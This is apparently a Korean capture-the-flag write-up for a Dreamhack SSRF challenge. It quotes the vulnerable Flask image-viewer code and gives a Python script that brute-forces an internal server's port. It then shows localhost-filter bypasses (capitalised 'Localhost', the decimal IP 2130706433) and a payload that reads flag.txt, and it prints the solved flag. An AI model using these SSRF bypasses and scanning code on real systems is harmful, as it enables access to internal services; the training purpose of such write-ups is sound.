try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
flag.txt
파일이 있습니다.@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
GET
: img_viewer.html
을 렌더링합니다.POST
: 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html
의 인자로 하여 렌더링합니다.local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
http
를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행합니다. http.server.HTTPServer
의 두 번째 인자로 http.server.SimpleHttpRequestHandler
를 전달하면, 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성됩니다.⇾ localhost
필터링을 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있습니다.
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = 18759
chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
ion ~ python3 exploit.py
/usr/lib/python3/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team. Therefore, support for it is deprecated in cryptography and will be removed in a future release.
from cryptography import x509
16%|████████████▊ | 47/301 [00:10<00:53, 4.75it/s]
Internal port number is: 1547
16%|████████████▊
port
= 1547localhost ⇾ 0x7f000001 or 2130706433
http://2130706433:1547/flag.txt
페이로드를 입력하니 깨진 이미지가 하나 나왔습니다.
요소 찾기로 깨진 이미지를 봐보면
<img src="data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9">
base64 인코딩된 문자열이 있습니다.
디코딩해보면
DH{43dd2189056475a7f3bd11456a17ad71}
플래그가 있습니다.